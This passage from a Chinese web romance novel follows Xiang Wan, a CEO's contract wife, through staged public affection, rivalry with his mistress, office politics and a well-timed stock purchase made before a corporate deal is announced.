什么叫新闻学?
这就是了。
**被这么一代,现在搞得反而她才是邵寂野的真爱,这三年对她的冷落是“保护”,是“金屋藏娇”。
也有一些网友提出质疑:“邵总之前可是传了不少绯闻啊!我都看过不止一次。”
下面的第一个回复是:
【邵寂野:假的。】
邵寂野的实名微博账号。
这下可好了,网民狂欢,尤其是一些年轻小姑娘,纷纷开始羡慕“邵太太”。
【老爸是宠女狂魔,丈夫是宠妻狂魔,邵太太这人生简直开了挂!】
最搞笑的是,邵寂野还点赞了。
耳边还能听到主卧室里传来的动静,白荷的笑声像是银铃,想必是极为开心的。
向晚揉了揉太阳穴,不禁失笑。
邵寂野这人也是绝,一边逗姑娘,一边还能注册微博账号在线回复网友。
一想到这个画面,她就觉得有些滑稽。
不过这就不关她的事了,趁着天隆集团涨停,向晚把手里之前积攒的所有天隆集团的股份全都卖掉了。
看着账户里多出来的一千三百万,向晚也想发出银铃般的笑声。
三年时间,她才攒了四百多万的本金,现在一夜之间暴涨这么多,还得是有钱人赚钱容易啊。
算上卡里还剩下的四百万,她手上现在有一千七百万的现金。
向晚梭哈了绿油油的邵氏。
一夜好眠。
第二天一早,向晚起的很早。
下楼的时候,已经看到邵寂野正在厨房里忙碌了。
他依旧戴着昨天的那个围裙,只是砂锅里煮的不是中药,而是牛奶桃胶。
空气中都散发着香甜的奶香味。
似乎是听到她的脚步声,邵寂野抬头看了过来,没什么表情:“你昨晚回来住了?”
向晚“嗯”了一声:“我怕打扰你们骑大马,直接去了客房。”
邵寂野哼了一声:“我还以为邵太太会在医院陪夜呢,秦以枫刚做完手术,你放得下心?”
第三十章 我的副驾驶你还不配坐
“你好像很关心秦以枫?”
邵寂野顿时脸色一变,声音冷下来:“我关心他做什么?他是死是活跟我有什么关系。”
“我就是觉得最近你提到他名字的频率有点高。”
“并没有,我只是觉得邵太太最近越来越让人刮目相看,真是冷心冷肺的可以。曾经的爱人伤得那么重,你竟然连陪护一晚都不愿意。”
向晚的语气淡淡的:“我要是留在医院,被别人拍到的话,邵总这一出大戏不是就白演了?”
“说的也是,”邵寂野突然问道:“我给白荷炖了汤,邵太太要不要尝一碗?”
“不了,我无福消受,先去上班了。”
“邵太太,”邵寂野叫住了她:“到了公司,记住你的身份。”
向晚点头:“邵总放心,演演戏就能赚一千万,我一定办的漂亮。”
邵寂野看着她,说不上喜怒,但眸色晦暗不明。
“邵总还有事吗?没有的话我去公司了。”
他收回视线,脸色也微微沉留下来:“等一会儿坐我的车一起去。”
向晚略一思索就明白了。
从前他们两个都是各走各的,即便出发点和目的地都一样,邵寂野也从来不会等她。
现在是需要她配合演戏。
向晚点了点头,“行。”
在客厅沙发上玩了一会儿手机,白荷终于姗姗来迟。
她身上穿着向晚的睡衣,噘着嘴不太开心,一边下楼一边说:“都怪你,我腰好痛……”
话说到一半,她看到了客厅里坐着的向晚。
脸上的神色立刻由撒娇变成了不悦。
快速下了楼后,她飞奔着跑去了厨房,从后面抱住邵寂野的腰:“猜猜我是谁?”
邵寂野放下汤匙,熄了火,才转过身来:“我猜是熊猫。”
“哼,”白荷揉了揉自己的眼睛:“都怪你,不让人家睡觉,困死我了,我现在的黑眼圈肯定很重。”
“没事,熊猫是国宝,多可爱啊。”邵寂野帮她整理了一下发丝,轻声说道:“去餐桌等一会儿,马上就好。”
白荷轻轻地瞥了一眼向晚,目光不是很友善:“她也要跟我们一起吃早饭吗?”
“她不吃。”
“阿野,她是谁啊?”
“她……”邵寂野的目光微微闪烁了一下。
向晚主动说道:“演员。”
白荷眼珠子一转,只跟邵寂野说话:“她跟我长得好像啊。”
“就是按你找的。”向晚说:“特型演员。”
白荷还是没搭理向晚,继续腻在邵寂野怀里撒娇:“阿野,你给我揉揉腰吧,真的好疼。”
不知道是不是向晚的错觉。
邵寂野似乎看了她一眼,然后轻轻推开了白荷:“我刚在做饭,手上不干净,下次吧。”
他把盛好的汤端到了餐桌上,又帮白荷拉开了椅子,“坐吧,喝汤。”
白荷似乎已经习惯了他的服务,很自然地就坐下了,手摊开:“汤匙呢?”
“给你。”
白荷只喝了一口,就微微皱起了眉头:“好像有股怪味道。”
邵寂野已经背过身去,收拾砂锅和灶具,闻言手上的工作也没停,只是轻声说了一句:“可能桃胶的味道你喝不惯吧。”
白荷重重点头:“不是桃胶的味道。有点苦,好像又有点腥,不信你尝尝。”
白荷用自己刚刚用过的汤匙舀了一勺,直接送到邵寂野唇边:“张嘴,啊——”
面对白荷的投喂,邵寂野下意识地蹙了蹙眉,然后头微微偏向一侧,避开了她的手。
白荷有些错愕他的反应,顺着他的目光,看向了坐在沙发上玩手机的向晚。
她似乎正在跟什么人聊天,手指在屏幕上翻飞,打字打的很快,根本没有注意到这边。
白荷收回目光,又去看邵寂野。
只见他死死地盯着向晚的侧脸,但是目光幽冷,也不像是喜欢她的样子。
白荷有些莫名,轻声叫了一声:“阿野。”
邵寂野没动。
于是她又叫了一声:“阿野!”
或许是她的声音带着点愠怒,向晚倒是看了过来。
跟她目光相触的一瞬间,邵寂野终于收回了目光,张嘴含住了白荷手上的汤
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匙,把汤汁一饮而尽。
白荷终于笑了,追问道:“是不是,我没骗你吧,就是有股怪味道。”
邵寂野细品了一下,“嗯”了一声:“那别喝了,倒了吧。”
“不行!这可是你千辛万苦给我熬的,我必须得喝完啊,这才不算辜负你的心意。”
白荷说着,直接又坐回了原位,用手上的汤匙往嘴里送汤水。
邵寂野微微蹙眉,拿了一支新汤匙递给她:“你手上那个汤匙刚刚我用过了,你用这个新的。”
白荷却不以为意:“那有什么关系?而且在刚刚喂你之前,我也已经用这个汤匙喝汤了呀!你不是也没嫌弃我,我怎么会嫌弃你呢。”
白荷甜甜地笑了笑,继续低头喝汤。
邵寂野看了看白荷,目光又落在不远处的向晚身上。
她又开始自顾自的忙活了,根本没有在意厨房这边发生了什么。
邵寂野冷冷地说道:“那你慢慢喝,我先上班去了。向晚,走了。”
向晚连忙站了起来:“来了。”
邵寂野快速脱掉了围裙,胡乱地仍在椅背上转身就出了门。
向晚拎着包正要跟上,就听他冷冷的吩咐:“茶几上的车钥匙带出来。”
“哦。”
向晚追上邵寂野的时候,他已经站在车库门口了,正靠在一辆亮银色的帕拉梅拉车门旁边抽烟。
向晚走了过去,把车钥匙递给他:“给你。”
邵寂野偏头睥睨了她一眼:“给**什么?”
“不是你让我帮你把车钥匙带出来?”
“邵太太,你真当自己是邵太太了?拿我当司机?”
向晚不懂他又抽哪门子疯,“你的意思是,我来开车?那也行。”
邵寂野劈手夺过车钥匙,自己拉开驾驶座的门坐了上去,一脚油门轰鸣,震得向晚耳膜鼓鼓的疼。
她用力捂着耳朵,实在是不明白邵寂野到底是什么意思。
邵寂野降下车窗,冷笑说道:“谢谢帮我带钥匙出来,不过今天你还是自己想办法去公司吧,跑车只有两个座位,我的副驾驶你还不配坐。”
第三十一章 你现在是邵太太,你的私事也只能是我
向晚瞬间明白了。
这是在为他的白月光守贞呢。
副驾驶的位置,众所周知都是属于女主人的。
她虽然是名义上的邵太太,但真正被他邵寂野捧在心尖尖上的人,从来都只有白荷。
“可是……是你刚刚说,让我等你坐你的车走啊!要不是为了等你,我早就自己打车走了!”
还不用看他们大清早的秀恩爱。
共用一个汤匙互相喂汤。
邵寂野耸了耸肩:“邵太太,今天早会可别迟到。”
说完,他直接开车离开了。
向晚被车尾气熏得好半天喘不过来气,恨恨的冲他的车尾灯踹了一脚。
男人心海底针,邵寂野的心怕是银河系的针。
她突然觉得之前跟过邵寂野的那些女人也够辛苦的,每天都要面对这么一个心思诡异喜怒无常的人,分手费活该她们赚。
向晚看了看时间。
今天为了等邵寂野,延迟了二十分钟出门。
要是想赶上早会,她得尽快才行。
可是别墅这里地处偏僻,平时出租车和网约车都很少,她平时要步行到前面的路口才能叫到车,或者是多等很久才会遇到一个愿意绕很多路来接单的司机。
向晚又在心里骂了邵寂野一轮,只能小跑着出了门。
滴滴——
刚跑到门口,路边停着的一辆黑色小轿车就按了按喇叭。
车窗降下,露出一张熟悉的脸。
威廉笑着冲她挥手:“嗨,还记得我吗?”
“记得,艺珍的表弟。你怎么会在这里?”
威廉哈哈笑:“一直等不到你的电话,以为你把我忘了,所以想来跟你重新认识一下的。不过现在……你好像在赶时间?需不需要我送你?”
向晚有些犹豫。
可威廉说:“这个位置可不好打车哦。”
向晚心一横,拉开了后排车门坐了进去:“那就谢谢了。麻烦送我去邵氏集团大厦。”
威廉绅士地点了点头,发动车子掉头:“不麻烦,很乐意为漂亮的女士效劳。”
车子缓缓滑入车流。
威廉开车很稳,但速度却不慢,路过一个红灯停下来的时候,他问道:“我跟邵总,谁开车技术好?”
向晚说:“我没坐过他的车。”
威廉有些诧异:“你不是他太太么……”
“是啊,”向晚说:“暂时是,以后就不是了。”
威廉问:“吵架啦?”
“……没。”
“别骗我了,不然他为什么自己走了?邵总有点没风度,就算再生气,也不能丢下自己的太太一个人走啊。这是一个绅士绝对不会做的。”
向晚揉了揉酸疼的太阳穴,偏头看向窗外,不再回答任何问题。
威廉见她态度如此,也没有继续追问下去了。
一路无话。
到了邵氏集团楼下,向晚第一时间就下了车,然后很郑重地道了谢:“威廉,很感谢你今天送我过来,我先上去了。”
“诶,等一下——”威廉飞快的下了车,跑到了向晚身边:“你晚上有空吗?我能不能请你吃个饭?”
“今天可能不行。”
“那明天呢?后天也行,或者你什么时候有空,可以随时打电话给我,我随叫随到。”
威廉的眼珠是淡淡的褐色,看着很清透。
尤其是专注地看着一个人的时候,会让人有一种他很真诚甚至有些卑微讨好地感觉。
他放软了语气:“对了,我听表姐说,你自家的公司好像被你二叔弄垮了,你需要资金周转吗?如果需要的话,我可以帮你渡过难关。”
向晚想起了账户上那一千七百万。
但钱这个东西,谁知道以后用不用得到?
向晚没有直接拒绝,只是说道:“目前还用不到,不过很谢谢你的好意。威廉,我已经结婚了,你是知道的。”
“但是你也说了,你以后不会是邵太太的,对吧?”
“……应该吧。”
威廉笑开了:“我明白你的顾虑,毕竟最近很多媒体都盯着你们。你放心,在你没有离婚之前,我不会做什么出格的事,我只是怕你忘记我,希望能让你印象深刻一些。”
“我印象很深刻。”
“那就好,等你准备离婚了,可以先告诉我吗?”
“我……”
向晚刚开口,旁
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边一股巨大的力道突然拉了自己一把,她重心不稳,直接跌入了一个冷硬宽厚的怀抱里。
下一秒,她的腰也被紧紧箍住,整个人都被锁在他怀里。
邵寂野的声音似乎是在调笑,但更多的像是在警告:“这位先生,请你注意一下跟我太太的社交距离。”
威廉扬了扬眉,但并没有理他,而是微微俯下身,笑着跟向晚说道:“记得我跟你说的话,我先走了。”
说罢,他上了车,缓缓离开。
向晚感觉整个人似乎都快被他捏碎了,微微挣扎了一下。
邵寂野冷冷的声音从头顶上砸下来:“干什么?!”
“疼!”
他的力道微微松开了一些。
但是并没有松开桎梏,向晚还是没能挣脱他的怀抱。
“今天楼下有记者蹲我们吗?”
“没有。”
“那你还不松手?”
邵寂野拧眉:“他是谁?”
“……一个朋友的弟弟。”
“哪个朋友?”
“我的朋友你又不认识。”
邵寂野哼笑:“徐艺珍?”
向晚再次觉得很意外:“你怎么知道?”
“我说过,也不是奶奶随便塞过来一个女人我就要的。”
向晚想起来了。
他说过,他背调过她。
向晚深吸了一口气,点头:“嗯,徐艺珍的表弟。”
“她还有外国表弟?”
“她后妈是英国人,可能是那边的亲戚吧,具体我也不是很清楚。我回国之后就一堆事情等着我,跟艺珍也是上次在谭家才联系上。”
“他在追你吗?”
“谁?”
“那个卷毛小子。”
威廉的头发的确是棕色卷发。
向晚说:“可能有点这个意思吧。”
“所以你不再对秦以枫上心是因为他?邵太太的心变得可真快,见异思迁眼睛都不眨一下。”
“邵总,我们两个现在是合作伙伴,我配合你演戏,给你的白月光当肉盾,但我没必要汇报自己的私事吧?”
邵寂野眼睛危险的眯起:“向晚,你别忘了,你现在是邵太太,你的私事只能是我。”
第三十二章 中午别跑,等我
向晚没说话,只是笑了笑。
暂时是。
以后就不是了。
“**……”
旁边路过的一声惊呼,打破了两个人之间尴尬又危险的气氛。
钟灵捂着嘴巴,一脸吃到瓜了的兴奋,看了看邵寂野,又看了看向晚,然后更兴奋了,剁着小碎步激动的脸都红了。
向晚轻轻推了一把邵寂野:“先松手。”
邵寂野轻笑了一下,倒是听话地放开了她,转而看向身旁的吃瓜人:“钟灵,是吧?”
钟灵小鸡啄米似的点头:“对的对的,邵总好。”
“听你们向经理说,这几年你工作很认真勤奋,下半年调薪工资给你涨一倍。”
钟灵彻底沦陷了:“啊!谢谢邵总!”
“别谢我,谢谢你们向经理就行。”邵寂野笑了笑,柔声对向晚说:“我先上去了,你也快点,早上例会快开始了。”
等邵寂野离开,钟灵一把抱住了向晚的大腿:“向经理!呜呜呜谢谢你给我说好话!我一定加倍努力工作!”
“我真没说什么……”
“您别推脱了,要不是您在邵总面前提起,他怎么可能记得我的名字啊!呜呜呜,太感谢了,我下半年终于可以租个距离公司近一点的房子了。”
钟灵的情况向晚大致也知道一些。
小姑娘一个人在大城市打拼,为了省钱房子都租在远郊。
每天上班通勤单程都要将近两小时,早上六点半就得出门,确实辛苦。
于是向晚没有再说什么了。
例会是九点半开始,因为早上耽误了一会儿,向晚不得不回了趟自己的办公室,打印了一份新的考勤表,所以来的迟了一点。
刚走到会议室门口,就听到里面传来嘈杂的议论声。
“这都到时间了,怎么会议还不开始啊?”
“邵总也一直在看表,好像是在等人。”
“今天有什么重要客户要来吗?没听说呀。”
“你们都不看新闻是不是?邵总明显就是在等向经理啊!”
“向经理?哪个向经理?”
“噗嗤,李总您这记性,人事部的向经理呗!”
“哦,你说她呀。邵总一向最烦开会迟到的人,她本来也不是什么重要的职位,来不来都一样。”
“以前不重要,现在可不一定喽!李总你最近不看新闻呀?咱们邵总好像有点回归家庭的意思,最近跟向经理关系不一般。”
李总不以为意,“嗤,她不是老太太硬塞给邵总的吗?三年了,邵总一向把她当空气晾着,怎么可能突然就不一般了?”
另一个也凑了过来:“前方秘报,我刚刚在楼下,看到邵总抱着向经理,两个人黏黏糊糊的,都快贴在一起了……”
“我去,真的假的?”
“不信?一会儿等主人公来了你看就完了。”
楚卫攥着拳头放在嘴边,清了清嗓子:“咳咳——”
所有人顿时鸦雀无声,看向了主位上的邵寂野。
他双腿叠起,手中拿着一根钢笔,轻轻把玩着,唇边虽然挂着笑,但依旧是那副冷厉的目光,看得人心里发毛:“各位谁要是等不及,可以先走。”
这谁敢走?
整个会议室里谁都不敢再说一个字。
倒是胡威说了一句:“邵总要不要给嫂子打个电话问问?别是出什么事了。”
卢杰明也附和道:“也是。嫂子一向守时,应该不会无缘无故迟到。”
楚卫直接说:“我去太太办公室看看。”
公司里都知道,楚卫是邵寂野的刀,胡威和卢杰明是邵寂野的铁杆。
他们这两声“嫂子”一声“太太”,直接把向晚的身份坐实了。
邵寂野叫住了他,自己站了起来:“我去吧。”
向晚听到了BOSS椅在地上滑动的声音,赶紧推门而入:“不好意思,我去打印考勤表了,耽误大家时间了,抱歉。”
她快速走向了自己的位置。
原本,她的位置在最角落,饮水机旁边。
公司里还有人调侃她,说她是饮水机看守员。
可楚卫叫住了她:“太太,您的座位在这里。”
向晚看了过去,目光落在了邵寂野身旁的位置上。
“……不了吧,我们人事部最近没什么重要的事情要汇报,我坐原来的位置就可以。”
邵寂野的声音温柔的不可思议:“还跟我生气呢?”
向晚顿住。<
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br>他叹了口气,缓缓走了过来,轻轻半拥着她往会主位的方向走:“今早的事情是我不对,别生气了,大家都等着你呢,一会儿开完会我们再说,好不好?”
虽然知道是演戏,可邵寂野温柔的语气,服软的态度,还是让向晚有些震惊。
这人在女人堆里无往不利,还真是有原因的。
邵寂野拉着她在自己身边的空位置上坐下,这才宣布会议开始。
有了刚刚这一出小插曲,下面的人各个面色各异。
有疑惑的,也有不解的。
只有胡威和卢杰明两个人表情最自然,仿佛早已经知道内情,所以见怪不怪,松弛感拉满。
等所有人都汇报完这一周的主要工作进展,最后一个是人事部。
以往,人事部的汇报都是走个过场。
三两句话说完,邵寂野就宣布散会,然后大家各自离开。
有时候邵寂野连她的话都不想听,在她还在汇报的时候就直接走人,一点面子不给。
可今天,邵寂野很有耐心。
“向经理刚刚提的那几个职位空缺,可以慢慢物色合适的人选,也不是特别着急。”
“考勤和工资条让下面的人去做就行,向经理最后检查一下就OK。”
向晚只能点头:“好的邵总,我知道了。您还有什么吩咐吗?”
邵寂野单手弯曲撑在桌上,用手撑着头,另一只手依旧在把玩手上的钢笔,整个人都是面对着她的方向:“中午想吃什么?”
向晚猛地抬起头来。
“?”
“是想出去吃,还是让楚卫买回来去我办公室吃?”
向晚干笑了一下,凑近他,压低声音说:“邵总,这就没必要了吧?”
邵寂野笑的十分志得意满,在她耳边低声说:“另一半演出费还想要吗?”
向晚立刻站直了身体:“我不吃了,我减肥。”
“饭还是要吃的,”邵寂野也站了起来,当着所有人的面说:“楚卫,中午买好午饭直接送到向经理办公室去,我去她那边吃。”
“是,邵总。”
邵寂野宣布:“好了,散会吧。”
然后又看向了向晚:“中午别跑,等我。”
第三十三章 邵寂野这三个字的含金量
如果说之前在谭家发生的事情,只是让圈子里比较敏感的人察觉到了邵寂野对她态度的变化。
那么今天在例会上的一切,几乎是邵寂野公开对外宣布了对她的偏爱。
从会议室回办公室的路上,向晚受到了前所未有的“重视”。
就连以前公司里高高在上不可一世的销冠,见了她也笑着打招呼:“向经理早。”
向晚不是没有享受过众星捧月的日子。
从前爸爸还在的时候,她是天隆集团的大小姐。
每次去公司,大家也都会这样看着她。
可那时候她是爸爸名副其实的掌上明珠,她一点都不觉得奇怪,反而觉得一切都理所当然。
但是爸爸去世后,她看惯了世态炎凉。
从前对她和颜悦色的那些长辈们,要么屈从于二叔的**,对她恶语相向;
要么干脆就当她不存在,向晚登门去求他们的时候,吃到的全都是闭门羹。
这三年在邵家,也是如此。
邵老太太对她居高临下发号施令,邵寂野更是一点好脸都不肯给她。
向晚早已经习惯了被忽视,尊严被践踏,猝然而来的谄媚和讨好,只让她觉得浑身不舒服,如芒在背。
终于回到办公室,把外面那一张张奉承假笑的脸关在门外的时候,她才终于觉得能透口气了。
谁知道刚坐下,钟灵又捧着一杯咖啡跑了过来:“向经理……”
向晚直接抬手:“想说什么直接说。”
钟灵嘿嘿笑:“我有个表妹,今年毕业,想来我们公司实习。您看行不行呀?”
向晚问:“什么学校毕业?”
“不是什么985211,就是普通二本……”
向晚微微蹙眉:“什么专业?”
钟灵的声音微微弱了一些:“护理。”
向晚没说话,只是看着她。
钟灵也算是跟着她三年了,邵氏是什么地方,邵寂野又是什么眼睛里能揉沙子的人?
这些钟灵不可能不清楚。
钟灵也有些为难:“向经理,实在是我小姨求到我面前了没办法,我小时候小姨对我们家可好了,我实在是推脱不掉。”
向晚沉声说道:“钟灵,你应该知道邵氏招人的最低标准。”
“我知道,实习生至少也得是985。”钟灵说:“可是向经理您现在在邵总面前这么说的上话,就一个普通的行政岗位而已,平时打印一下文件贴贴发票的,也没什么工作难度呀。只要您点头,邵总也不会说什么的。”
向晚一向对钟灵比较照顾。
但今天,她冷了脸。
“钟灵,不是我不点头,但我事先要跟你说清楚几件事。”
钟灵忙不迭点头:“好,您说。”
“我这个人事部经理,应该坐不了太久了。我离开之后,你的职位都不一定保得住,更别提你表妹了。她大四毕业还是应届生身份,找工作或者考公都有优势。只是一旦入职邵氏,过不了几个月又被开除的话,应届生身份没有了,名声也不好听,很难再去找其他工作了。”
邵氏作为本地的龙头企业,被邵氏开除的人,想在本市找其他工作,难上加难。
“第二,”向晚说:“前几天我就跟你说过,让你尽快看其他公司,不是说说而已。现在离职,是你自己离开的,还可以拿2n。可以后要是被开除,你的前途也会打折扣。你明白了吗?”
钟灵咬着唇:“向经理我不是很明白,邵总现在对您这么好,为什么您还是要走啊?是要回去当太太了,不工作了吗?客这样的话邵总也没必要开除我呀?”
“我说的离开,不是回去当太太,是彻底离开邵氏,离开邵总。”
“……可是,为什么呀?”
向晚低头整理着自己桌上的文件,声音很轻:“没有为什么。你只要记得,我是为你好就可以了。”
钟灵悻悻地离开了,整个人像是泄了气的皮球。
过了一会儿,她手机响了。
她慌忙接了起来,叫了一声“小姨”,然后捂着听筒飞快地跑了出去。
大概半个小时,她回来的时候,整个人脸色苍白,眼圈也红红的,像是哭过。
看着蔫巴成一小团趴在桌子上的钟灵,向晚心里微微一酸。
她给徐艺珍发了个消息:“宝,你们家公司的人事岗位还有空缺不?”
徐艺珍回得很快:“不知道诶,我一向不怎么管公司的事,怎么啦?”
“我有个小徒弟,最近在找工作,帮她问问。”
徐艺珍说:“要不你问问威廉?他们银行好
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像最近在招人事呢。”
“你帮我问一下吧。”
“为什么呀?你不喜欢威廉啊?”
向晚迟疑了一下,打字:“我有喜欢的人了,不能接受威廉的感情,所以也不想麻烦他。”
“邵寂野吗?宝儿,你知道吗,你跟邵寂野的事情最近传的整个圈子都在讨论诶,刚刚我还听到我家保姆都在说呢。”
向晚诧异:“你家保姆?”
“是啊!你说传得广不广?”
“因为上次在谭家的事情?”
“不止吧。邵寂野这个人,大家之前虽然知道他已婚,但是所有人都默认他肯定会离婚另娶的。你知道这个圈子里有多少人想把自己的妹妹、女儿、侄女、外甥女送到他身边吗?!一旦成为真正的邵太太,那自家公司可就立刻原地坐火箭飞升啦!”
向晚冷笑:“他们以为是古代啊,还给邵寂野选妃呢?”
“不是选妃也差不多了,那可是邵寂野诶!本世纪最年轻的商业神话!他今年只有三十岁,谁都不知道以后的邵氏会发展的多大!谁不想乘上这波东风?”
向晚也明白,邵寂野这三个字的含金量。
不然她也不会来当这个邵太太。
虽然是曲线救国,走了邵老太太的路子,可只是空有这个名头,就足以让被二叔祸祸的在破产边缘的天隆集团一夜之间起死回生。
徐艺珍问:“宝儿,你给我透露一点儿呀,你到底是用了什么魔法,居然能收服邵寂野这条妖蛟?”
向晚揉了揉酸痛的太阳穴:“电视剧看过吧?苗疆那边有种东西叫蛊。”
徐艺珍顿时扬高了调子:“看过是看过,我以为编剧编出来都是骗人的,还真有这种东西啊?”
“……没有,就是骗人的。”
徐艺珍小怒了一下:“还是不是好姐妹了,你连我都瞒着?”
向晚哭笑不得:“不然你就当邵寂野脑子坏掉了。”
叩叩——
办公室门突然被敲响了。
邵寂野推门走了进来:“刚让楚卫出去买了点水果,你尝尝。”
他把果盘放在她面前。
向晚握着手机,有些惊讶,缓缓站了起来:“你怎么过来了?”
邵寂野敲了敲自己的额角:“大概是我脑子坏掉了吧。”
第三十四章 邵寂野这种人,心里只有生意
“噗嗤——”
电话里传来徐艺珍喷水的声音。
邵寂野离得远,没听到,只是看她手机屏幕亮着,于是眼神闪了闪:“你最近电话挺多?”
“还好。”
“不要在工作时间打私人电话。”
向晚沉声:“知道了。”
余光里,她看到蔫巴了许久的钟灵终于抬起了头,有些欲言又止。
但是目光对上了向晚的,犹豫了许久,最终还是放弃了,重新趴回了桌上。
邵寂野有个电话进来,铃声有些突兀,打破了沉默。
是属于白荷的专属铃声。
跟他气质非常不符的小甜歌。
邵寂野看了一眼屏幕,对向晚说:“有事先走了。”
等他离开,电话里的徐艺珍立刻开始了八卦:“宝儿,你可以啊!邵寂野亲自给你送水果?你都不知道他有多傲,这种人能亲自纡尊降贵给你送水果?”
她当然知道邵寂野有多傲。
但是徐艺珍是怎么知道的?
“你还记得我之前跟你说的那个小姐妹不?她三年前跟过邵寂野一段时间。”
“记得。”
她不但记得,现在这个小姐妹就住在她家。
徐艺珍说:“我有时候真的有点不理解她,邵寂野是不错,可他那种眼睛长在头顶上的男人,根本就不是肯沉下心来好好过日子的啊!他那种男人,事业好又多金,环肥燕瘦什么样的女人他没见过?我那个小姐妹长得其实还可以吧,跟你有点像,但是远不如你。邵寂野怎么可能为了她放弃整片森林呢?”
向晚说:“也说不准啊,万一邵寂野就喜欢她这样的。”
徐艺珍顿时长叹了一声:“我的老天爷,你是在秀恩爱吗?他要是真喜欢我那个小姐妹,还能娶你啊?”
向晚语滞。
“算了,我还是劝劝她吧。邵寂野现在对你死心塌地的,我得让她别再执迷不悟了,不然非把自己的一辈子赔进去不可……”
“宝,”向晚叫住了她:“你跟你的小姐妹是怎么认识的啊?”
白荷家境普通,而徐艺珍可是徐家大小姐。
这两个人能成为姐妹,向晚一直觉得有些匪夷所思。
徐艺珍说:“说起来,还是因为你。”
“我?”
“对啊,”她继续说道:“有一次我去找你,你还在上课,让我在校外的一家咖啡厅等你,你还记得不?”
向晚有点没印象了。
“好像是有这么回事。”
“她当时就在那家咖啡店打工。我当时看到她的背影,还以为是你,所以过去就搂住她,给人家小姑娘吓坏了。”
白荷也在米兰待过?
就在她学校不远处的咖啡店打工?
徐艺珍继续说:“后来我道了歉,就算认识了嘛,这才知道她家有亲戚在米兰,她原本是来投奔亲戚的。结果亲戚出了一些事,没办法照顾她,她就只能在咖啡店打打零工,说起来也是挺可怜的一个小姑娘。”
“后来呢?”
“后来就是慢慢熟悉了呀,再后来她就跟邵寂野在一起了,跟他一起回国了。据说她跟邵寂野也好过一阵的,但是后来就不太行了,邵寂野这种男人,身边一天到晚全都是诱惑,她长相身材都一般,邵寂野估计是大鱼大肉吃腻了,找了她这个清粥小菜解解腻,但是谁愿意一直吃清粥小菜啊?没过多久就很少看到她秀恩爱了。再后来就听圈里人说,邵寂野结婚了,她哭了好几天呢。”
说到这里,徐艺珍再一次表示了震撼:“我们圈里的人都在猜,最后到底是谁能拿下邵寂野。绝大部分人都压谭璇,没想到居然是你!”
“你们圈里人也都很看好谭璇吗?”
徐艺珍思索了一下:“唔……主要邵寂野这个人,就像是个没有感情的工作机器。他女人不少,但是想让这种人付出真心,那绝对不可能。他最后选的老婆,肯定是对他事业最有助力的一个,算来算去,也就是谭璇了。”
最后这一句,向晚是赞同的。
邵寂野这种人,满肚子的算计,心里只有生意。
邵老太太替他选的人其实也是最符合他个人要求的一个。
但邵寂野最烦邵老太太的掌控欲,所以跟谭璇一直没什么进展,这才有了白荷的突然闯入。
说起来,白荷是邵寂野反抗邵老太太的第一步,而她向晚,充其量是个顺水推舟。
“对了
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宝,这周末你有空不?我们自从米兰一别都没好好聚聚呢。”
向晚想了一下,家里现在有个白荷,平时上班时间不见面也还行,周末要是两个人都在家,大家都尴尬,还不如出门。
于是她答应了下来:“有,那就周六下午见?”
“行。”
“对了你记得帮我问问你们家公司招聘财务的事情。”
徐艺珍哈哈笑:“放心吧,这几天我帮你问好,周末见面给你答复。”
挂了电话,向晚把桌上的水果拿去放在了钟灵的桌上。
她不太会哄人,只是说:“别哭了,吃点水果吧。”
钟灵抬起头来,眼睛红红的,咬着唇摇了摇头:“谢谢向经理,我不想吃。”
“真跟我生气了?”
“没有,”钟灵胡乱拨了几下被泪水粘在脸上的碎发:“我听到了,您托朋友给我找其他工作呢,向经理,谢谢你。”
向晚轻轻摸了摸她的头:“下周我给你答复,嗯?”
“嗯,好。”
向晚问了一句:“对了,之前不是说要给北美那边的合作方打款?进展如何了?财务部那边打款没?”
说起工作,钟灵终于打起来了一些精神。
她连忙打开电脑,转过去给向晚看:“财务部今天早上已经把前期款项打过去了,对方也给了回复,说是已经收到了,会尽快安排人员过来参与研发。这是对方今早发给财务部的邮件,抄送了我们。”
向晚仔细看了看邮件内容,跟钟灵说的大差不差。
邵寂野一直是走在时代尖端的人,五年前就开始准备涉足AI医疗领域。
国内在AI领域有优势,跟医疗融合是迟早的事。
而邵寂野则是更快一步,已经开始布局海外,争取尽快拿下全球更多的市场份额。
这是一块全新的蛋糕,倘若邵氏能赢得先机,则有可能成为海外AI医疗领域的领头羊。
向晚去了一趟市场部。
刚出电梯,就看到胡威正带着一群高管从会议室里出来。
他整个人意气风发,显然是对会议结果很满意。
而跟他开会的人里面,有将近一半都是金发碧眼的外国人。
第三十五章 我从来没想过要做一辈子邵太太
“向经理!”
胡威的秘书看到了向晚,先是惊讶地打了个招呼,然后连忙低声对胡威说了句什么。
胡威听了,看了过来。
他礼貌地跟几个国际友人握了握手,嘱咐秘书去送,然后小跑着过来了。
“嫂子,你找我有事?”
向晚把手上的水果盒子拎了起来:“也没什么事,就是邵总刚刚给我送了点水果,我一个人也吃不完这么多,就给你带过来了点。”
胡威立马接了过去:“野哥这人也真是的,水果能值几个钱?也不多买一点给大家伙儿分分,我开了将近两个小时的会,正好口干舌燥的。”
“那你多吃点。”
胡威嘿嘿笑:“谢谢嫂子。果然有了嫂子就是不一样啊,我们的待遇都好了。”
向晚浅笑:“我已经当了邵总三年的太太了。”
胡威一愣,笑容有些讪讪地。
他野哥之前是个什么德行,想必他比向晚还清楚。
胡威虽然没有跟风踩过她,但基本也属于视而不见的那一类。
向晚倒是不怪他见风使舵,反正她也没打算真的跟邵寂野过一辈子。
“对了,你刚刚开会的好多外国人啊?是北美那个AI医疗的合作吗?”
胡威吃西瓜吃的满嘴都是汁水,忙不迭点头:“是啊。”
“哦,聊得还顺利吗?”
“挺顺利的吧,对了我还得去问问老卢,他们财务部把前期款项打过去了没?”
向晚点头:“已经打了,对方也回复了,我看到了抄送邮件。”
胡威放了心:“那就好,这方面目前好多家公司都在做,也有其他公司在联系他们呢,我们得尽快把合作敲定。”
“已经收了款,应该合作就算定下来了吧?”
胡威说话还是严谨:“90%吧,就差野哥定个日子官宣了。”
“他订好日子了吗?”
“不知道啊,不过应该就这几天了,肯定是越快越好。”
向晚的唇角微微勾起。
她淡笑着说道:“那你慢慢吃,我再去给卢杰明送一些。”
“好嘞,嫂子那我也回去干活了。”
向晚原本可以把1700万都用于回购天隆集团的股份。
但是她前几天梭哈了邵氏,就是看准了这个项目。
一旦官宣,邵氏的股票必定大涨。
现在,她就等着看邵氏官网了。
……
任何事情都讲究个时效性。
当天中午十二点,邵氏集团官网公布了消息。
邵氏集团即将和北美医疗联盟,还有北美的几所知名常青藤高校合作。
